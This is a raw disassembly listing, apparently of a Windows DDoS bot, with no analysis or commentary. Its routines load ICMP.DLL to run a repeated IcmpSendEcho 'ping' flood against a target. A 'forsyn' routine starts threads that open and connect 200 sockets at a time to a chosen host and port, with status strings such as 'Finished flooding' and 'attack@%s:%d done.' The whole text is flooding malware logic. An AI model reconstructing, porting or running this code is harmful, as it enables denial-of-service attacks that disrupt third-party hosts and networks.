[esi+204h], 0 add esp, 0Ch mov dword ptr [esi+208h], 0 mov [esi+20Ch], edx mov byte ptr [esi+218h], 0 mov eax, edi pop esi pop edi retn sub_4258E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_425980 proc near ; CODE XREF: sub_401609j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_425980 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 7 push 0Eh push 9 push 10h push 4Fh push 13h push 0Fh mov esi, ecx push 4 lea eax, [esp+68h+var_3C] push 4 push eax mov dword ptr [esi+118h], 0 mov byte ptr [esi+11Ch], 0 call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_425980 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 4 push 15h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+28h] push 4 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4Fh push 13h push 0Fh push 4 lea ecx, [esp+28h] push 4 push ecx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+60h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 13h push 0Fh push 4 lea eax, [esp+2Ch] push 4 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+0EAh] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4 push 13h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+48h] push 4 push edx call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 8Eh push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_425BD0: ; CODE XREF: ___:loc_401B6Dj push 0FFFFFFFFh push offset loc_43B6A4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp push esi mov esi, [esp+50h] mov ebx, ecx push edi lea ebp, [esi+7Eh] lea ecx, [ebx+60h] mov [esp+54h], ebp call sub_4014D3 push eax mov ecx, ebp call sub_4012EE mov edi, dword_50FB08 test eax, eax jnz loc_425D68 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax xor ebp, ebp cmp eax, ebp mov [esp+4Ch], ebp jz short loc_425C3B mov ecx, eax call sub_401DD9 mov ebp, eax loc_425C3B: ; CODE XREF: ___:00425C30j push offset asc_443600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 1 call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 2 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 3 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 4 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea ecx, [esi+69h] push ecx lea ecx, [ebp+26h] call sub_401FBE mov dl, [esi+93h] mov ecx, ebp mov [ebp+8Fh], dl mov al, [esi+94h] mov [ebp+90h], al call sub_4013D4 mov ebp, [esp+54h] loc_425D68: ; CODE XREF: ___:00425C11j lea ecx, [ebx+8Eh] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_425EDA push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 5 jz short loc_425DAB mov ecx, eax call sub_401BC7 mov ebp, eax jmp short loc_425DAD ; --------------------------------------------------------------------------- loc_425DAB: ; CODE XREF: ___:00425D9Ej xor ebp, ebp loc_425DAD: ; CODE XREF: ___:00425DA9j push offset asc_443600 ; " " lea ecx, [esp+18h] push 1 push ecx mov byte ptr [ebx+11Ch], 1 mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 6 call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 2 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 7 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 3 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 8 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 4 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 9 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FBE mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013D4 mov ebp, [esp+54h] loc_425EDA: ; CODE XREF: ___:00425D7Dj lea ecx, [ebx+4] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_426049 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Ah jz short loc_425F1A mov ecx, eax call sub_40130C mov ebp, eax jmp short loc_425F1C ; --------------------------------------------------------------------------- loc_425F1A: ; CODE XREF: ___:00425F0Dj xor ebp, ebp loc_425F1C: ; CODE XREF: ___:00425F18j push offset asc_443600 ; " " lea edx, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push edx mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 0Bh call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 2 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Ch call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 3 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Dh call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 4 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Eh call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea eax, [esi+69h] lea ecx, [ebp+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [ebp+8Fh], cl mov dl, [esi+94h] mov ecx, ebp mov [ebp+90h], dl call sub_4013D4 mov ebp, [esp+54h] loc_426049: ; CODE XREF: ___:00425EECj lea ecx, [ebx+32h] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4261F4 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Fh jz short loc_426089 mov ecx, eax call sub_401785 mov ebp, eax jmp short loc_42608B ; --------------------------------------------------------------------------- loc_426089: ; CODE XREF: ___:0042607Cj xor ebp, ebp loc_42608B: ; CODE XREF: ___:00426087j push offset asc_443600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 10h call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 11h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 12h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 13h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+30h] push 5 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 14h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+2Ch] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FBE mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013D4 mov ebp, [esp+54h] loc_4261F4: ; CODE XREF: ___:0042605Bj lea ecx, [ebx+0EAh] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_426211 mov [ebx+11Ch], al loc_426211: ; CODE XREF: ___:00426209j mov ecx, [esp+44h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 40h retn 4 ; --------------------------------------------------------------------------- db 8 dup(90h) db 1A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4263D0 proc near ; CODE XREF: sub_401A64j var_4 = dword ptr -4 push ecx mov edx, dword_447A34 push esi mov esi, ecx mov eax, [esi+91h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_4263F1 inc ecx mov [eax+118h], ecx loc_4263F1: ; CODE XREF: sub_4263D0+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+91h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E6ECB call sub_40120D sub_4263D0 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426450 proc near ; CODE XREF: sub_40130Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426450 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aPing ; "ping" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E0DC call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_426450 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4264C0 proc near ; CODE XREF: sub_401F7Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4264C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+79h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0EC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4264C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426560 proc near ; CODE XREF: sub_4014C4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426560 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E0EC lea ecx, [esi+79h] mov [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_426560 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_426620: ; CODE XREF: ___:loc_4016D1j ; ___:0040217Bj push esi mov esi, ecx call sub_4014C4 test byte ptr [esp+8], 1 jz short loc_426638 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426638: ; CODE XREF: ___:0042662Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426650 proc near ; CODE XREF: sub_4011FEj ___:00402081j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402090 test [esp+4+arg_0], 1 jz short loc_426668 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426668: ; CODE XREF: sub_426650+Dj mov eax, esi pop esi retn 4 sub_426650 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426680 proc near ; CODE XREF: sub_402090j jmp sub_4014C4 sub_426680 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4266A0 proc near ; CODE XREF: sub_401A41j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4266A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 28h lea ecx, [esp+34h+var_24] call sub_401424 mov edx, [esi+54h] mov eax, [esi+60h] mov ecx, [esi+5Ch] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014D3 push eax call sub_40182F add esp, 10h test eax, eax jz short loc_426764 mov edx, [esi+5Ch] mov ecx, edi push edx call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+40h+var_24] push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times" push eax call sub_40102D add esp, 14h jmp short loc_42677E ; --------------------------------------------------------------------------- loc_426764: ; CODE XREF: sub_4266A0+9Aj mov ecx, ebx call sub_4017E4 push eax lea ecx, [esp+38h+var_24] push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"... push ecx call sub_40102D add esp, 0Ch loc_42677E: ; CODE XREF: sub_4266A0+C2j lea ecx, [esp+34h+var_24] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov dl, [esi+90h] push eax mov al, [esi+8Fh] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_4266A0 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426820 proc near ; CODE XREF: sub_401E7Ej var_1A = byte ptr -1Ah var_18 = byte ptr -18h arg_0 = byte ptr 4 arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFFCh call sub_436840 push esi push edi push offset aIcmp_dll ; "ICMP.DLL" nop call near ptr 2950856h mov esi, eax test esi, esi jz short loc_42688A mov edi, dword_50F8A0 push offset aIcmpcreatefile ; "IcmpCreateFile" push esi call edi push offset aIcmpclosehandl ; "IcmpCloseHandle" push esi mov dword_50E140, eax call edi push offset aIcmpsendecho ; "IcmpSendEcho" push esi mov dword_50E144, eax call edi mov ecx, dword_50E140 mov dword_50E13C, eax test ecx, ecx jz short loc_42688A mov edx, dword_50E144 test edx, edx jz short loc_42688A test eax, eax jz short loc_42688A mov al, [esp+0Bh] test al, al jz short loc_426895 loc_42688A: ; CODE XREF: sub_426820+1Bj ; sub_426820+52j ... pop edi xor eax, eax pop esi add esp, 0FFFCh retn ; --------------------------------------------------------------------------- loc_426895: ; CODE XREF: sub_426820+68j mov edx, [esp+24h+arg_FFE8] mov eax, 0FFDCh cmp edx, eax jle short loc_4268AC mov [esp+24h+arg_FFE8], eax loc_4268AC: ; CODE XREF: sub_426820+83j push ebx push ebp mov ebp, [esp+2Ch+arg_FFEC] cmp ebp, 1 jge short loc_4268BF mov ebp, 1 loc_4268BF: ; CODE XREF: sub_426820+98j call ecx ; IcmpCreateFile mov ebx, [esp+2Ch+arg_FFE4] xor esi, esi test ebx, ebx mov edi, eax jle short loc_426904 loc_4268D0: ; CODE XREF: sub_426820+E2j mov al, byte_4D64E9 test al, al jz short loc_426904 mov ecx, [esp+2Ch+arg_FFE8] push ebp lea eax, [esp+30h+var_18] push 1Ch push eax mov eax, [esp+38h+arg_FFE0] push 0 lea edx, [esp+3Ch+arg_0] push ecx push edx push eax push edi call dword_50E13C ; IcmpSendEcho inc esi cmp esi, ebx jl short loc_4268D0 loc_426904: ; CODE XREF: sub_426820+AEj ; sub_426820+B7j push edi call dword_50E144 ; IcmpCloseHandle pop ebp pop ebx pop edi mov eax, 1 pop esi add esp, 0FFFCh retn sub_426820 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426960 proc near ; CODE XREF: sub_40182Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_0] push eax call sub_40187F mov ecx, [esp+4+arg_C] mov edx, [esp+4+arg_8] push ecx mov ecx, [esp+8+arg_4] push edx push ecx push eax call sub_401E7E add esp, 14h retn sub_426960 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4269A0 proc near ; CODE XREF: sub_401BC7j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4269A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aForsyn ; "forsyn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E0FC call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4269A0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_426A10: ; CODE XREF: ___:00401A19j ; ___:loc_401AAFj push esi mov esi, ecx call sub_4017FD test byte ptr [esp+8], 1 jz short loc_426A28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426A28: ; CODE XREF: ___:00426A1Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426A40 proc near ; CODE XREF: sub_4017FDj jmp sub_4014C4 sub_426A40 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426A60 proc near ; CODE XREF: sub_401366j var_28 = dword ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426A60 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx mov ebx, ecx xor eax, eax mov ecx, offset byte_4E5DBF mov [esp+2Ch+var_28], eax loc_426A86: ; CODE XREF: sub_426A60+35j cmp dword ptr [ecx], 0 jz short loc_426A97 add ecx, 78h inc eax cmp ecx, offset byte_4E671F jl short loc_426A86 loc_426A97: ; CODE XREF: sub_426A60+29j cmp eax, 13h mov [esp+2Ch+var_28], eax jg loc_426C49 lea eax, [eax+eax*2] push ebp push esi push edi lea eax, [eax+eax*4] lea ecx, [ebx+3Bh] lea ebp, ds:4E5D4Bh[eax*8] call sub_4017E4 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov cx, [ebx+58h] push ecx nop call near ptr 71AB2B66h and eax, 0FFFFh mov [ebp+64h], eax mov eax, [ebx+54h] cmp eax, 5 mov [ebp+68h], eax jge short loc_426B00 mov dword ptr [ebp+68h], 5 loc_426B00: ; CODE XREF: sub_426A60+97j mov edx, [ebx+50h] mov ecx, 80h xor eax, eax mov edi, offset dword_50E14C mov [ebp+6Ch], edx lea esi, [ebx+11h] rep stosd mov eax, [ebx+50h] mov ecx, [ebx+58h] push eax push ecx lea ecx, [ebx+3Bh] lea edi, [ebx+26h] call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSSUDseconds ; "%s: %s:%u (%dseconds)" mov ecx, edi call sub_4014D3 mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D60A5 call sub_401848 mov ecx, [esp+50h+var_1C] add esp, 24h push offset dword_50E34C push 0 push ecx push offset sub_4012C1 push 0 push 0 nop call near ptr 28F08B8h test eax, eax mov dword_50E350, eax jz short loc_426B9B push offset dword_446F64 push 5 push eax push 0 push offset dword_50E14C call sub_4013E8 add esp, 14h mov [ebp+70h], eax jmp short loc_426BCB ; --------------------------------------------------------------------------- loc_426B9B: ; CODE XREF: sub_426A60+11Dj mov ecx, esi call sub_4017E4 push eax push offset aSErrorCreating ; "%s: error creating threads" mov ecx, edi call sub_4014D3 mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_426BCB: ; CODE XREF: sub_426A60+139j lea ecx, [esp+38h+var_24] call sub_401424 mov ecx, [ebx+58h] mov [esp+38h+var_4], 0 push ecx lea ecx, [ebx+3Bh] call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax lea edx, [esp+44h+var_24] push offset aSAttack@SDDone ; "%s: attack@%s:%d done." push edx call sub_40102D add esp, 14h lea ecx, [esp+38h+var_24] call sub_4017E4 push eax push offset aS ; "%s" mov ecx, edi call sub_4014D3 mov cl, [ebx+8Fh] push eax mov al, [ebx+90h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 18h lea ecx, [esp+38h+var_24] mov [esp+38h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp loc_426C49: ; CODE XREF: sub_426A60+3Ej mov ecx, [esp+2Ch+var_C] pop ebx mov large fs:0, ecx add esp, 28h retn sub_426A60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426CE0 proc near ; CODE XREF: sub_4012C1j var_338 = dword ptr -338h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = byte ptr -320h arg_0 = dword ptr 4 sub esp, 338h mov eax, [esp+338h+arg_0] push ebp push esi mov esi, 1 lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ebp, ds:4E5D4Bh[eax*8] xor eax, eax mov [esp+340h+var_334], eax mov word ptr [esp+340h+var_334], 2 mov [ebp+74h], esi mov cx, [ebp+64h] mov [esp+340h+var_330], eax push ecx mov [esp+344h+var_32C], eax mov [esp+344h+var_328], eax nop call near ptr 71AB2B66h push ebp mov [esp+344h+var_324], esi mov word ptr [esp+344h+var_334+2], ax nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_426D76 push ebp nop call near ptr 71AB4FD4h xor edx, edx cmp eax, edx jnz short loc_426D6F mov [ebp+74h], edx mov ecx, [ebp+70h] pop esi pop ebp lea eax, [ecx+ecx*4] shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D6765[eax*2], edx xor eax, eax add esp, 338h retn 4 ; --------------------------------------------------------------------------- loc_426D6F: ; CODE XREF: sub_426CE0+68j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_426D76: ; CODE XREF: sub_426CE0+5Bj mov [esp+340h+var_330], eax mov eax, [ebp+6Ch] push ebx push edi test eax, eax mov [esp+348h+var_338], 0 jle loc_426E26 mov ebx, dword_50FC30 loc_426D95: ; CODE XREF: sub_426CE0+140j mov al, byte_4D64E9 test al, al jz loc_426E26 lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426DAB: ; CODE XREF: sub_426CE0+EFj push 0 push 1 push 2 call ebx ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_426DCB lea ecx, [esp+348h+var_324] push ecx push 8004667Eh push eax call near ptr 71AB4519h nop loc_426DCB: ; CODE XREF: sub_426CE0+D8j add esi, 4 dec edi jnz short loc_426DAB lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426DDA: ; CODE XREF: sub_426CE0+10Ej mov eax, [esi] lea edx, [esp+348h+var_334] push 10h push edx push eax nop call near ptr 71AB406Ah add esi, 4 dec edi jnz short loc_426DDA mov ecx, [ebp+68h] push ecx nop call near ptr 29B0000h lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426E03: ; CODE XREF: sub_426CE0+130j mov edx, [esi] push edx nop call near ptr 71AB9639h add esi, 4 dec edi jnz short loc_426E03 mov eax, [esp+348h+var_338] mov ecx, [ebp+6Ch] inc eax cmp eax, ecx mov [esp+348h+var_338], eax jl loc_426D95 loc_426E26: ; CODE XREF: sub_426CE0+A9j ; sub_426CE0+BCj xor edx, edx pop edi mov 